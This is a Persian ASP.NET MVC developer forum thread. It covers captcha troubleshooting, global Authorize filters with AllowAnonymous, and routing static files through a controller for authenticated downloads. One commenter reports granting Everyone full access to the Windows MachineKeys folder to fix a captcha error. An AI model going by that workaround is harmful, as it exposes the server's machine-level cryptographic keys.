من همین کپچا رو دارم استفاده می‌کنم و این مشکلو هم باهاش ندارم. یک حدسی که می‌زنم اینه که شاید کوکی بار اول درست مقداردهی نشه. لطفا کل عملیات از تشکیل تصویر امنیتی، تا مقداری که درون کوکی قرار می‌گیره، و بعد رمز گزاری میشه ، تا مقداری که درون کوکی مرورگر ذخیره میشه (برای مشاهده کوکی‌های مرورگر از این روش می‌تونید استفاده کنید) . سپس ببینید بعد از پست شدن فرم حاوی کپچا به سرور مقداری که از درون کوکی خونده میشه و می‌خواد decrypt بشه با مقداری که از اول ذخیره شده یکسان باشه.

امیدوارم مشکلتون حل شه دوست عزیز.

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۰۹/۲۸ ۱۰:۳

باسلام، این مطلب خیلی کاربردی و خوب بود، فقط نکته ای که در فرم Register پیش فرض MVC وجود داره، اینکه این View به کنترلر Account وصله که هنگامی که CaptchaImageResult را درون آن قرار می‌دهیم، در فرم Register اجرا نمی‌شود.
می‌خواستم راهنمایی کنید که در این فرم چگونه باید عمل کنم. مرسی!

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۹/۲۸ ۱۰:۹

ویژگی AllowAnonymous را بالای آن قرار دهید. همچنین Url.Action دو پارامتر نام کنترلر و نام اکشن متد را دریافت می‌کند (برای استفاده از آن در سایر Viewهایی که در کنترلر جاری نیستند) .

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۱۰/۱۵ ۹:۱۳

با تشکر از راهنمایی شما، این مورد به خوبی در حالت localhost کار می‌کند و تغییر تصویر نیز به خوبی عمل می‌کند. هنگامی که سایت را Publish میکنم، تصاویر نمایش داده نمی‌شود. ممنون میشم راهنمایی کنید.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۵ ۹:۵۷

برای دیباگ کردن این مساله در سمت سرور بهتر است از ELMAH استفاده کنید. لاگ آن‌را بررسی کنید شاید جایی در پشت صحنه خطایی صادر می‌شود.

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۰:۲۷

با سلام، Elmah Log رو چک کردم، مشکل دسترسی داشت که در قسمت Web.config تگ Trust رو اضافه کردم و فعلاً ظاهر شد. اضافه کردن trust مشکل امنیتی ایجاد نمی‌کنه؟

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۰:۳۶

کدوم قسمتش مشکل دسترسی داشت؟ چه خطایی گرفتید دقیقا؟ چه trust ایی رو اضافه کردید؟ (در هاستی که بتونید trust level رو تغییر بدید، یعنی عملا از لحاظ امنیتی درست تنظیم نشده و مداخل رو قفل نکرده)

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۰:۴۸

پیغام:

```
The system cannot find the file specified " source=" mscorlib "
```

کد تراست

```
< trust level = "Medium" originUrl = ".*" />
```

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۱:۳۷

عجیبه که کار کرده. چون با حالت medium مشکل داره .

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۳:۰

هنوز کامل باهاش سر و کله نزدم، ولی یک ثبت نام کردم دیدم داره درست کار می‌کنه. پس خطری نداره این کد.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۴:۵۶

trust level یعنی کد شما مثلا نتونه دایرکتوری فونت ویندوز رو روی سرور لیست کنه یا نتونه به کلیدهای رمزنگاری سطح ماشین دسترسی پیدا کنه. از این دید باید به آن نگاه کرد نه از دید کد خطرناک. این پروژه که سورس باز هست و می‌تونید کدهای آن را بررسی کنید.

نویسنده: کوروش ت
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۵:۲۶

منظور من این نبود، منظورم خطری برای سایر Third Party APIها بود که دادن تراست لول خطری برای ای پی آی‌های دیگه نداشته باشه. در مورد این کد هیچ چیز مبهمی وجود نداره و هم توضیحات خوب داده شده بود و هم از متدهای رادست و قابل فهم استفاده شده بود. از راهنمایی‌های شما هم بسیار ممنونم.

نویسنده: ایلیا
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۶:۲۰

با سلام.
من از این کپچا در یک سرور استفاده کردم، بر روی پورت 80 هیچ خطایی نمیگیرم و تصویر امنیتی بدرستی نمایش داده می‌شود ولی روی پورت 8080 تصویر کپچا لود نمیشود و خطای زیر را در کنسول کروم لاگ میکند:

```
System.Security.Cryptography.CryptographicException: Object already exists
```

```
Resource interpreted as Image but transferred with MIME type text/html:
"http://site:8080/Error/Index?aspxerrorpath=/Shared/CaptchaImage"
```

با تشکر.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۷:۴۲

اگر به سرور دسترسی دارید این دستور را اجرا کنید:

```
aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"
```

نویسنده: محسن
تاریخ: ۱۳۹۳/۰۱/۰۷ ۵:۳۵

من در یک پروژه می‌خواستم از این Captcha استفاده کنم. زمانی که صفحه اصلی لود میشه Captcha درست نمایش داده میشه ولی زمانی که کاربر از سایت SignOut می کنه دیگه محتوای Captcha نمایش داده نمی‌شود و اصلاً کنترولر CaptchaImage فراخوانی نمی‌شود ممنون میشم راهنمایی کنید

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۱/۰۷ ۱۱:۴۶

اگر فراخوانی نمی‌شود، یعنی کش شده. برای رفع این مشکل، ویژگی زیر را بر روی اکشن متد CaptchaImage قرار دهید:

```
[OutputCache(Location = OutputCacheLocation.None, NoStore = true)]
```

برای بررسی دقیق‌تر از افزونه‌ی فایرباگ استفاده کنید.

نویسنده: فواد عبداللهی
تاریخ: ۱۳۹۳/۰۵/۱۰ ۱۱:۴۸

سلام
میدونم پست نسبتا قدیمی!
ولی من یه مورد پیدا کردم و اونم اینه که در صورتی که captcha رو درست بزنی و برید به صفحه جدید (مثلا بعد لاگین برید به صفحه مدیر) دوباره back بزنی همون مقدار رو می‌بینید و متاسفانه دوباره کار هم میکنه.
کش رو هم غیر فعال کردم ولی تاثیری نداشت!

اگر راه حلی دارد ممنون میشم در میان بگذارید.

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۰۵/۱۰ ۱۲:۷

نکته‌ی غیرفعال کردن کش مرورگر در MVC رو تست کردید؟

نویسنده: فواد عبداللهی
تاریخ: ۱۳۹۳/۰۵/۱۰ ۱۲:۱۲

بله جواب نداد!

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۵/۱۰ ۱۳:۲۴

1- فایل CaptchaImageResult.cs نگارش دوم را باز کنید.
- در انتهای آن تغییر زیر را اعمال کنید:

```
// در فایل CaptchaImageResult.cs
HttpResponseBase response = context.HttpContext.Response;
response.ContentType = "image/jpeg";
context.HttpContext.DisableBrowserCache(); // این سطر جدید است
bitmap.Save(response.OutputStream, ImageFormat.Jpeg);
```

متد الحاقی DisableBrowserCache در مطلب غیرفعال کردن کش مرورگر در MVC ارائه شده.

2- امضای متد Index کنترل Home نیاز به NoBrowserCache دارد (کل صفحه‌ی لاگین کش نشود):

```
public class HomeController : Controller
    {
        [NoBrowserCache]
        public ActionResult Index()
```

3- امضای متد CaptchaImage را در کنترلر Home به نحو زیر تغییر دهید (آدرس خاص تصویر نمایش داده شده، کش نشود):

```
[NoBrowserCache]
[OutputCache(Location = OutputCacheLocation.None, NoStore = true, Duration = 0, VaryByParam = "None")]
public CaptchaImageResult CaptchaImage(string rndDate)
```

سپس در محل استفاده در View به صورت زیر باید استفاده شود:

```
<img src="@Url.Action("CaptchaImage", "Home", routeValues: new{ rdnDate = DateTime.Now.Ticks })"/>
```

نویسنده: افشار محبی
تاریخ: ۱۳۹۳/۰۶/۲۵ ۱۰:۸

من هم همین مشکل را داشتم. قبل از این که توضیحات اینجا را ببینم، msdn را دیده بودم:

http://social.msdn.microsoft.com/Forums/vstudio/en-US/7ea48fd0-8d6b-43ed-b272-1a0249ae490f/systemsecuritycryptographycryptographicexception-the-system-cannot-find-the-file-specified?forum=clr

روشی که آنجا گفته بود باید application pool را از integrated به classic می‌بردی و از network service برای identity

استفاده می‌کردی. هر چند که این روش هم جواب داد ولی روش توضیح داده اینجا، یعنی اصلاح کد خیلی بهتر است.
البته در مورد من نیاز به اضافه کردن trust level به web.config نبود.

نویسنده: افشار محبی
تاریخ: ۱۳۹۳/۰۶/۲۵ ۱۰:۱۰

کد خیلی مفید و خوبی است. کاش آن را در github یا codeplex هم قرار می‌دادید تا همه به روز رسانی‌ها و pull requestهای احتمالی از همانجا انجام می‌شد. در هر صورت بابت این کد مفید تشکر می‌کنم.

نویسنده: محسن درپرستی
تاریخ: ۱۳۹۳/۰۹/۰۱ ۱۴:۴۵

یک مورد دیگه که باعث بروز این مشکل میشه افزونه فایرباگ هست. علتش رو نمی‌دونم اما در زمان فعال بودن فایرباگ دو بار درخواست برای تصویر امنیتی ارسال و مقدار درون کوکی با تصویری که می‌بینید متفاوت میشه.
درحالی که در زمان خاموش بودن فایرباگ این مشکل وجود نداره.

نویسنده: امیر نوروزیان
تاریخ: ۱۳۹۳/۱۰/۲۱ ۹:۱۴

سلام؛ من از این روش استفاده می‌کنم. هر از چند وقت گیر میده که خطایی اتفاق افتاده؛ تریس میکنم، این خطا رو نشون میده:

```
{"Error occurred while decoding OAEP padding."}
```

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۳/۱۱/۰۴ ۶:۱۸

سلام
من تمامی مراحل طی کردم اما متاسفانه روی سرور با اینکه فول تراست هست همین خطا دریافت میکنم

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۳/۱۱/۰۷ ۹:۳۵

با سلام خدمت کلیه دوستان و همکاران گرامی
از اینکه نمی‌تونم جواب نظرات رو بدم عذرخواهی می‌کنم. (به دلیل خدمت سربازی :دی)
بنا به پیشنهاد جناب نصیری و دیگر دوستان ی ک مخزن کد Github برای این تصویر امنیتی درست کردم. اصلاح باگ‌های برطرف شده اون هم تا اینجا طبق نظرات همین مطلب اعمال شدن. هر کی می‌خواد تو این پروژه مشارکت داشته باشه PR بفرسته .

نویسنده: مهدی سعیدی فر
تاریخ: ۱۳۹۴/۰۱/۰۸ ۱۰:۳۹

اگر بخواهم که کاربر با وارد کردن مستقیم آدرس ایجاد کپچا، کد آن اجرا نشود اضافه کردن کد زیر به ابتدای متد ExecuteResult کلاس CaptchaImageResult درست هست؟
البته در این کد Null reference می‌گیرم ولی خب ایجاد کپچا متوقف میشود. راه دیگه ای هست که بدون Null refrence جواب بدهد؟

```
if (context.RequestContext.HttpContext.Request.UrlReferrer.AbsolutePath ==
                context.RequestContext.HttpContext.Request.Url.AbsolutePath)
                throw new InvalidOperationException();
```

نویسنده: محسن خان

تاریخ: ۱۳۹۴/۰۱/۰۸ ۱۳:۵۹

اگر ActionResult سفارشی هست، از context.HttpContext.Response.StatusCode = 403 و بعد context.HttpContext.Response.End استفاده کنید. اگر ActionFilterAttribute سفارشی تعریف شده، از filterContext.Result = new Http403Result کمک بگیرید.

نویسنده: محسن درپرستی
تاریخ: ۱۳۹۴/۰۱/۲۳ ۱۸:۳

بعد از انتقال از یک سرور به سرور دیگر ، خطایی در زمان نمایش کپچا ایجاد می‌شود :

```
System.Security.Cryptography.CryptographicException: Object already exists at
System.Security.Cryptography.CryptographicException.ThrowCryptographicException(Int32 hr)   at
System.Security.Cryptography.Utils._CreateCSP(CspParameters param, Boolean randomKeyContainer,
SafeProvHandle&amp; hProv)
```

متن کامل خطا :

captcha-error.txt

تنها با دادن دسترسی کامل به Everyone برای مسیر زیر مشکل برطرف شد:

```
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
```

در حالی که نه در سیستم لوکال و نه در سرور قبلی این مشکل وجود نداشت. سرور جدید 2012 هست.
استفاده از Full Trust و یا دستور زیر هم کارساز نشد :

```
aspnet_regiis -pa "SampleKeys" "NT AUTHORITY\NETWORK SERVICE"
```

عنوان: Best Practice ی برای تأیید اعتبار کردن کاربران در ASP.NET MVC 4
نویسنده: محمد صاحب
تاریخ: ۱۳۹۲/۰۴/۱۰ ۱۶:۱۰
آدرس: www.dotnettips.info
گروه‌ها: Security, Authentication, ASP.Net MVC 4, MVC

به صورت پیش فرض دسترسی به تمامی اکشن‌ها مجاز است مگر اینکه آن اکشن به تگ Authorize مزین شود.
حال Best Practice این است که حتی اگه شما یک یا دو اکشنی دارید که نیاز است کاربرای خاصی به آن‌ها دسترسی داشته باشند **بهتر است** که دسترسی به تمام اکشن‌ها محدود شود و بعد آن اکشن‌هایی که نیاز است دسترسی عمومی داشته باشند، بهشون دسترسی داده بشه. در واقع هدف از این Best Practice جلوگیری از قلم افتادن یک اکشن به اشتباه، هنگام دادن تگ Authorize هست.

خوب، برای انجام اینکار از فیلترهای سفارشی سراسری (Global Filters) استفاده می‌کنیم. کافیه خط زیر رو به کلاس FilterConfig اضافه کنید.

```
filters.Add(new AuthorizeAttribute());
```

با این کار تمام اکشن‌های شما با تگ Authorize مزین می‌شوند و تمام دسترسی‌ها محدود.

نکته: این روش تا قبل از ASP.NET MVC 4 فقط برای سیستم‌هایی که هیچ اکشنی با دسترسی عمومی نداشتن جوابگو بوده و در صورت داشتن چنین اکشنی این روش جوابگوی شما نیست. ولی از ASP.NET MVC 4 به بعد با اضافه شدن تگ [AllowAnonymous] این مشکل حل شده.

حالا که تمامی اکشن‌ها محدود شدن، حالا نوبت به اکشن‌هایی می‌رسه که دسترسی عمومی به اونها آزاده.
برای این کار به راحتی از تگ [AllowAnonymous] استفاده می‌کنیم

```
[AllowAnonymous]
public ActionResult Index()
  {
       return View();
   }
```

فایل پروژه BestPracticeForAuthenticatingUsers.rar

نظرات خوانندگان

نویسنده: آیمو
تاریخ: ۱۳۹۲/۰۷/۰۳ ۹:۲۳

سلام . من برای پروژه ام همین کارو کردم . صفحه اول من از توی یک ناحیه(Area) لود میشه . به این صورت که درخواست میره به یک اکشن مثل Home از کنترلر ControlPanel که این اکشن Allow Anonymous هست . بعد از داخل اون Redirect میشه به همون Area و داخل اون هم یه کنترلر Home و یه اکشن Index هست .
اما موقع لود شدن redirect میشم به صفحه لاگین. لطفا راهنمایی کنید.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۷/۰۳ ۹:۴۲

«بعد از داخل اون Redirect میشه» خودکار هست یا دستی؟ اگر خودکار هست، خوب طبیعی هست جایی که AllowAnonymous نداره (یعنی اکشن متد بعدی که به اون Redirect شده)، کاربر رو به صفحه لاگین هدایت کنه. Global Filters یعنی دقیقا همین. یعنی اعمال سراسری به همه جا، مگر اینکه با AllowAnonymous مستثنی شود.

نویسنده: آیمو
تاریخ: ۱۳۹۲/۰۷/۰۳ ۱۰:۲

اره خب حرفه شما درسته . اما هر دوتا اکشن من AllowAnonymous هست . در واقع از یک اکشن AllowAnonymous میخوام برم به یه اکشن AllowAnonymous داخل یه ناحیه . مشکل اینجاست که نمیره و میره تو صفحه لاگین .

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۷/۰۳ ۱۰:۱۹

ممکن هست در اون صفحه دوم داری چیزی رو نمایش می‌دی که ارجاعی داره به یک اکشن متد محافظت شده. مثلا صفحه‌ات چند قسمتی هست. یک قسمت داره از یک اکشن متد غیر عمومی شده اطلاعات دریافت می‌کنه.

نویسنده: ایمان
تاریخ: ۱۳۹۳/۰۴/۰۳ ۱۴:۳۴

سوال من اینه که اگه بخواهیم این محدودیت رو محدودتر کنیم[مثلا فقط نقش abc] دسترسی داشته باشه، اونوقت باید [("Authorize(Roles="abc] رو روی اکشن بگذاریم؟

نویسنده: محمد صاحب
تاریخ: ۱۳۹۳/۰۴/۰۳ ۲۲:۶

اگه قراره روی فقط رو یه اکشن اعمال بشه درسته میتونی حتی میتونی روی کنترلر بزاری که تمام اکشن‌های اون کنترلر رو محدود کنه و اگه میخوای با روشی که تو این پست اومده عمل کنی باید خودت یک Authorize Attribute سفارشی بنویسی و به فیلترهای سراسری ت ادد کنی.

عنوان: **هدایت درخواست فایل‌های استاتیک در ASP.NET MVC به یک کنترلر**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۴/۱۱ ۸:۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security

فرض کنید یک پوشه Export در ریشه سایت دارید که حاوی تعدادی فایل PDF عمومی است.
سؤال: آیا می‌شود دسترسی به فایل‌های قرار گرفته در این پوشه عمومی را کنترل کرد؟ به نحوی که فقط کاربران عضو سایت پس از اعتبارسنجی بتوانند آن‌ها را دریافت کنند؟
پاسخ: شاید عنوان کنید که می‌توان از تگ location در فایل web.config برای اینکار استفاده کرد:

```
<location path="Export">
    <system.web>
      <authorization>
        <deny users="?" />
      </authorization>
    </system.web>
  </location>
```

این تنظیمات هیچ اثری بر روی فایل‌های استاتیک PDF ندارند؛ چون در IIS 6 از موتور ASP.NET رد نخواهند شد. مگر اینکه این نوع پسوندها به aspnet_isapi.dll انتساب داده شوند. در IIS 7 به بعد این وضع بهبود یافته است. اگر تنظیم runAllManagedModulesForAllRequests در وب کانفیگ برنامه به true تنظیم شده باشد و برنامه در حالت Integrated pipeline بجای Classic mode اجرا شود، امکان مدیریت فایل‌های استاتیک نیز در برنامه‌های ASP.NET وجود دارد .

سؤال: آیا راه حلی وجود دارد که بتوان فایل‌های استاتیک را صرفنظر از نوع، نگارش و حالت اجرای IIS توسط موتور ASP.NET مدیریت کرد؟
پاسخ: بلی. در ASP.NET MVC با تنظیم یک سطر ذیل، اینکار انجام می‌شود:

```
public static void RegisterRoutes(RouteCollection routes)
{
   // ...
   routes.RouteExistingFiles = true;
   // ...
}
```

توضیحات:
RouteCollection در ASP.NET MVC به کمک امکانات MapPathBasedVirtualPathProvider خود، ابتدا درخواست رسیده را بررسی می‌کند. اگر این درخواست به یک فایل عمومی اشاره کند، کل سیستم مسیریابی را غیرفعال می‌کند. اما با تنظیم RouteExistingFiles دیگر این بررسی صورت نخواهد گرفت (به عبارتی در بالا بردن سرعت نمایشی سایت نیز تاثیر گذار خواهد بود؛ چون یکی از بررسی‌ها را حذف می‌کند).

ایجاد کنترلری به نام پوشه‌ای که قرار است محافظت شود

نام پوشه قرار گرفته در ریشه سایت، Export است. بنابراین برای هدایت درخواست‌های رسیده به آن (پس از تنظیم فوق)، نیاز است یک کنترلر جدید را به نام Export نیز ایجاد کنیم:

```
using System.IO;
using System.Web.Mvc;

namespace Mvc4RouteExistingFiles.Controllers
{
    public class ExportController : Controller
    {
        public ActionResult Index(string id)
        {
            if (string.IsNullOrWhiteSpace(id))
            {
                return Redirect("/");
```

```
            }

            var fileName= Path.GetFileName(id);
            var path = Server.MapPath("~/export/"+ fileName);
            return File(path, System.Net.Mime.MediaTypeNames.Application.Octet, fileName);
        }
    }
}
```

البته بدیهی است در اینجا می‌توان فیلتر Authorize را به کل کنترلر اعمال کرد، یا هر تنظیم دیگری که نیاز است.
برای اینکه بررسی کنیم، آیا واقعا فایل‌های استاتیک قرار گرفته در پوشه Export به این کنترلر هدایت می‌شود یا خیر، یک breakpoint را بر روی سطر اول اکشن متد Index قرار می‌دهیم. برنامه را اجرا کنید ... کار نخواهد کرد، زیرا مسیر یک فایل فرضی به صورت ذیل:

```
http://localhost/export/test.pdf
```

به اکشن متد Index کنترلر Export، نگاشت نخواهد شد (index در این مسیر ذکر نشده است).
برای حل این مشکل فقط کافی است مسیر یابی متناظری را تعریف کنیم:

```
using System.Web.Mvc;
using System.Web.Routing;

namespace Mvc4RouteExistingFiles
{
    public class RouteConfig
    {
        public static void RegisterRoutes(RouteCollection routes)
        {
            routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

            routes.RouteExistingFiles = true;

            routes.MapRoute(
                name: "ExportRoute",
                url: "Export/{id}",
                defaults: new { controller = "Export", action = "Index", id = UrlParameter.Optional }
            );

            routes.MapRoute(
                name: "Default",
                url: "{controller}/{action}/{id}",
                defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
            );
        }
    }
}
```

در اینجا ExportRoute را مشاهده می‌کنید که به آدرس‌هایی به فرم Export/id پاسخ می‌دهد. در این حالت به صورت خودکار با توجه به تنظیمات انجام شده، اکشن متدی که انتخاب می‌شود همان Index خواهد بود و نیازی به ذکر صریح آن نخواهد بود.
اینبار اگر برنامه را اجرا کنیم، breakpoint ما کار خواهد کرد:

```
1  using System.IO;
2  using System.Web.Mvc;
3
4  namespace Mvc4RouteExistingFiles.Controllers
5  {
6      public class ExportController : Controller
7      {
8          public ActionResult Index(string id)
9          {
10             if (string.IsNullOrWhiteSpace(id))
11             {                                   id "test.pdf"
12                 return Redirect("/");
13             }
14
15             var fileName= Path.GetFileName(id);
16             var path = Server.MapPath("~/export/"+ fileName);
17             return File(path, System.Net.Mime.MediaTypeNames.Application.Octet, fileName);
18         }
19     }
20 }
```

تنظیمات ثانویه پس از فعال سازی RouteExistingFiles

در این حالت با فعال سازی مسیریابی فایل‌های موجود، دیگر هیچ فایل استاتیکی به صورت معمول در اختیار کاربران قرار نخواهد گرفت و اگر همانند توضیحات قبل برای آن‌ها کنترلر جداگانه‌ای را تهیه نکنیم، عملا سایت از کار خواهد افتاد.
برای رفع این مشکل، در ابتدای متد RegisterRoutes فوق، تنظیمات ذیل را اضافه کنید تا پوشه‌های scripts، content و همچنین یک سری فایل با پسوند مشخص، همانند سابق و مستقیما توسط سرور ارائه شوند؛ در غیراینصورت کاربر پیغام 404 را پس از درخواست آن‌ها، دریافت خواهد کرد:

```
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.IgnoreRoute("content/{*pathInfo}");
routes.IgnoreRoute("scripts/{*pathInfo}");
routes.IgnoreRoute("favicon.ico");
routes.IgnoreRoute("{resource}.ico");
routes.IgnoreRoute("{resource}.png");
routes.IgnoreRoute("{resource}.jpg");
routes.IgnoreRoute("{resource}.gif");
routes.IgnoreRoute("{resource}.txt");
```

نظرات خوانندگان

نویسنده: خوشقدم
تاریخ: ۱۳۹۲/۰۴/۱۲ ۱۶:۰

سلام و خسته نباشید

اکشن تعریف شده تنها برای مقدار Id اجرا خواهد شد اما در صورتی که فولدر Export ما شامل زیرشاخه باشد چه کار باید کرد

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۴/۱۲ ۱۸:۳۰

یک ستاره قبل از id قرار بدید:

```
routes.MapRoute(
                name: "ExportRoute",
                url: "Export/{*id}",
                defaults: new { controller = "Export", action = "Index", id = UrlParameter.Optional }
            );
```

نتیجه آن:

```
6   public class ExportController : Controller
7   {
8       public ActionResult Index(string id)
9       {
10          if (string.IsNullOrWhiteSpace(id))
11          {
12              return Redirect("/");
13          }
```

id "folder1/test.pdf"

نویسنده: حمید چگینی
تاریخ: ۱۳۹۲/۰۹/۱۵ ۱۲:۳۷

بدون اینکه تنظیمات قسمت مسیریابی رو انجام بدم این مسیر باز میشه:

http://localhost:1431/Export/api.pdf

و در حالت پش فرض هم فایلهای موجود در فولدرهای Scripts و Content با تایپ مسیر آنها تو Url،همگی قابل دسترس هستند.

- تو درک این عبارت مشکل دارم.ممکنه کمی در این باره توضیح بدین:

```
routes.IgnoreRoute( "{resource}.axd/{*pathInfo}" );
```

ممنون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۱۵ ۱۲:۴۳

- بله. این‌ها فایل استاتیک هستند و همانطور که در بحث عنوان شده، به صورت مستقیم و مستقل، توسط IIS مدیریت می‌شوند. موضوع بحث جاری، هدایت این فایل‌های استاتیک، به یک برنامه ASP.NET MVC است؛ پیش از اینکه IIS راسا تصمیم گیری کند.
- یعنی از هر مسیری که پسوند axd داشت با هر جزء دیگری از مسیر پس از آن، صرفنظر شود.

نویسنده: علی
تاریخ: ۱۳۹۲/۰۹/۲۹ ۱۲:۴۳

سلام من هر کاری می‌کنم وقتی تو مرورگر درخواست فایل استاتیکی رو میدم بلافاصله خطای 404 میده و کنترلر اصلا اجرا نمیشه. در متد registerRoutes همه آدرس رو تعریف کرده ام و routeexistingfiles رو هم true کردم یه کنترلر و یه متد هم طبق برنامه بالا تعریف کرده ام ولی به محض درخواست فایل خطای 404 میده در اصل اون فایل وجود نداره ولی من میخوام قبل از اینکه وجود فایل رو بررسی کنه ابتدا کنترلر من رو اجرا کنه همچین چیزی ممکنه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۹/۲۹ ۱۳:۵۵

بله. به شرطی‌که برای آن route مخصوص بنویسید تا ASP.NET MVC بداند درخواست رسیده را باید به کجا ارسال کند. ضمن اینکه اگر route جدید شما اجرا نمی‌شود، باید مسیریابی‌های موجود را جهت رفع تداخل دیباگ کنید .

نویسنده: ایاک
تاریخ: ۱۳۹۲/۱۲/۰۲ ۲۲:۳

با سلام و تشکر.
متد Application_AuthenticateRequest من به ازای هر تقاضا برای فایلهای استاتیک اجرا می‌شود. آیا باید اجرا شود و اگر نه ، به چه نحوی باید آنرا کنترل کرد تا وارد این مرحله نشود؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۰۲ ۲۲:۱۸

سؤال و هدف اصلی بحث جاری این است: «آیا می‌شود دسترسی به فایل‌های قرار گرفته در این پوشه عمومی را کنترل کرد؟ به نحوی که فقط کاربران عضو سایت *پس از اعتبارسنجی* بتوانند آن‌ها را دریافت کنند؟»
یعنی تمام اینکارها انجام شد تا بتوان دریافت فایل‌های استاتیک را تحت کنترل کامل برنامه و اعتبارسنجی آن قرار داد. اگر نیازی نیست، خوب، مباحث آن‌را پیاده سازی نکنید. همچنین مانند IgnoreRoute نوشته شده در انتهای بحث برای پوشه اسکریپت‌ها یا CSSها، پوشه‌ی مدنظر را از سیستم مسیریابی خارج کنید.

نویسنده: علی محبی
تاریخ: ۱۳۹۲/۱۲/۲۵ ۱۷:۲۸

با وجود اضافه کردن routes.RouteExistingFiles = true; و تنظیم مسیردهی RouteConfig اما با صدا زدن http://localhost/export/test جواب می‌گیرم ولی با http://localhost/expor/test.jpg خطای 404 دریافت می‌کنم

دستورت IgnoreRoute مربوطه را هم اعمال کردم.

من از mvc5 استفاده می‌کنم ، مطلب فوق در این ورژن هم صادق است؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۲۵ ۲۱:۲۱

فرقی نمی‌کند: Mvc5RouteExistingFiles.zip
فقط اگر قرار است تمام فایل‌های استاتیک پوشه‌ی export، منهای تصاویر jpg آن route شوند، باید یک سطر زیر را هم اضافه کنید:

```
routes.IgnoreRoute("export/{resource}.jpg");
```

نویسنده: ابراهیم
تاریخ: ۱۳۹۳/۰۱/۲۱ ۲۳:۲۴

فایلهایی که به این صورت دانلود میشن قابلیت resume ندارن ، راهی برای resume وجود داره ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۱/۲۱ ۲۳:۲۹

« File ActionResult هایی با قابلیت از سرگیری مجدد برای ASP.NET MVC »

نویسنده: احمد
تاریخ: ۱۳۹۳/۰۷/۱۶ ۱۳:۳۹

آیا این کار تاثیر زیادی توی سرعت کار میزاره؟
من میخوام واسه‌ی همه‌ی فایل‌های تصویری اینکارو بکنم، پیشنهاد میشه؟

یا مثلا با استفاده از این لینک

نویسنده: احمد
تاریخ: ۱۳۹۳/۰۷/۱۶ ۱۴:۴

من دنبال این کار هستم، چطوری میتونم آدرس تگ img رو به این صورت دربیارم، فایل css رو میتونم با باندل به این حالت دربیارم ولی تگ img رو نه!

```
▼<div class="ad502-users">
  ▶<a href="http://chat.stackoverflow.com/users/1707126">…</a>
  ▶<a href="http://chat.stackoverflow.com/users/2018654">…</a>
  ▶<a href="http://chat.stackoverflow.com/users/3942918">…</a>
  ▶<a href="http://chat.stackoverflow.com/users/2153758">…</a>
  ▶<a href="http://chat.stackoverflow.com/users/113938">…</a>
  ▼<a href="http://chat.stackoverflow.com/users/851498">
      <img height="23" width="23" title="Florian Margaine: 1 hour ago" src="https://www.gravatar.com/avatar/
      138a5bfc83f7df06b2701ccd722531c3?s=23&d=identicon&r=PG">
    </a>
  ▶<a href="http://chat.stackoverflow.com/users/811241">…</a>
  </div>
</div>
</div>
```

23 × 23 pixels

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۷/۱۶ ۱۴:۲۱

این لینک در ASP.NET MVC یک چنین امضایی دارد؛ با خروجی return File:

```
public class AvatarController : Controller
{
    public ActionResult Index(string id, int s, string d, string r)
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۷/۱۶ ۱۴:۲۲

تاثیر قابل توجهی ندارد. تمام تصاویر سایت جاری به صورت مستقیم ارائه نمی‌شوند و return File هستند. به این صورت مباحث caching را بهتر می‌شود اعمال کرد.

نویسنده: امیرحسین جلوداری
تاریخ: ۱۳۹۳/۱۰/۲۱ ۲۲:۲۷

با سلام؛ من وقتی روی اکشن متود Authorize میزارم و بعد میخواد فایل رو از طریق نرم افزاری مثه IDM دانلود کنم میبینم که اونو به صفحه‌ی login منتقل میکنه در حالی که میخوام دیالوگ login در نرم افزار IDM بیاد بالا!
چجوری میشه این کارو کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۰/۲۱ ۲۲:۴۹

- دیالوگ لاگین در IDM برای حالت Basic authentication ظاهر می‌شود.
